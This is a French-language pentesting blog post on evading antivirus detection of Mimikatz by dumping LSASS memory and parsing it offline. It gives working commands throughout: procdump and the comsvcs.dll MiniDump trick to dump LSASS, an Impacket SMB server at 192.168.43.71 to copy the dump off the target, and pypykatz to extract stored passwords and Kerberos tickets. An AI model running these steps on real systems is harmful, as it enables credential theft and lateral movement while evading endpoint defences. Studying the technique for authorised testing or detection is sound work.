Anti-virus vs Mimikatz: analyse de minidump lsass

Mimikatz est depuis longtemps l'outil de prédilection des pentesters puisque c'est grâce à lui que nous pouvons récupérer les mots de passe stockés dans la mémoire du processus LSASS ou encore dumper les TGT/TGS présents localement sur une machine.

Pour toutes ces raisons, Mimikatz est flag à vu par la plupart des anti-virus ainsi que Windows Defender. Le seul fait de déposer le binaire Mimikatz sur un poste protégé par Windows Defender suffit pour que ce dernier soit supprimé:

Du coup il devient compliquer d'utiliser Mimikatz du moins sur la machine cible directement. GentilKiwi, ayant connaissance de ce problème, développa une nouvelle fonctionnalité qui permet à Mimikatz de parser un dump de la mémoire du processus LSASS à distance. Nous n'avons donc plus besoin d'uploader mimikatz sur la machine cible pour pouvoir accéder aux secrets du processus LSASS.

I/ Dumper la mémoire du processus LSASS

Il existe plusieurs techniques permettant de dumper le processus LSASS. Graphiquement on peut passer par le gestionnaire de tâches afin de créer un "fichier de vidage":

Ce qui créera un fichier lsass.DMP dans le répertoire c:\\Users\ach\AppData\Local\Temp:

Seulement nous n'aurons pas toujours accès à la GUI. Plusieurs outils ont été développés dont procdump.exe qui fait parti de la suite SysInternals développée par Mark Russinovitch en 1996. Procdump, pour dumper la mémoire du processus LSASS a besoin qu'on lui fournisse en paramètre le PID du processus LSASS que l'on pourra obtenir de cette manière:

tasklist | findstr "lsass"

On dumpera la mémoire du processus LSASS de cette manière:

procdump64 -accepteula -ma 624 lsass.dmp

Si l'utilisation de procdump est monitorée et/ou bloquée il sera aussi possible d'effectuer un dump mémoire via la DLL comsvcs.dll:

rundll32.exe c:\windows\System32\comsvcs.dll, MiniDump 624 C:\\Users\ach\Desktop\lsass.dmp full

Pour je ne sais quelle raison je n'ai pas pu exécuter rundll32 depuis un shell classique. Seul l'utilisation d'un shell powershell m'a permis de dumper la mémoire du processus LSASS.

Il existe plusieurs autres techniques permettant de dumper la mémoire d'un processus mais je ne les connais pas suffisamment bien pour pouvoir les détailler dans cet article. On les verra donc plus tard :) !

II/ Analyse du dump

Nous disposons donc d'un dump valide de la mémoire du processus LSASS. Il ne nous reste plus qu'à le rapatrier sur notre machine d'attaque pour l'analyser. Si nous disposons d'un shell meterpreter alors la récupération du dump se fera très simplement:

get lsass.dmp

Si ce n'est pas le cas alors on pourra monter un serveur SMB sur notre machine d'attaque puis s'y connecter depuis la machine cible. Pour cela j'utilise le script smbserver.py de la suite Impacket:

sudo python2 $HOME/tools/ad/impacket/examples/smbserver.py hello $HOME/Desktop -smb2support

Depuis la machine cible je pourrais ensuite accéder à ce share :

dir \\192.168.43.71\hello

Et donc y déposer mon dump:

copy lsass.dmp \\192.168.43.71\hello

Il ne nous reste plus qu'à analyser ce dump sauf que... Mimikatz est un binaire PE qui ne s'exécute donc que sous Windows. Comment faire ? Eh bien on va se servir d'un outil bien sympathique: pypykatz!

Pypykatz est un outil développé par Skelsec qui implémente presque tout Mimikatz en python pur ce qui veut dire que l'on va pouvoir parser notre dump directement depuis notre Linux!

Pypykatz s'installe de la manière suivante:

pip3 install pypykatz --user

Il est possible que plusieurs dépendances soient requises, vous pourrez les installer de cette manière:

pip3 install minidump minikerberos aiowinreg msldap winsspi --user

Enfin on pourra parser notre dump de cette manière:

pypykatz lsa minidump lsass.dump

GGWP! Peut on faire mieux ? Moi non mais Pixis nous a concocté un petit outil bien sympatique qui lui le peut: lsassy dont on reparlera dans un prochain article.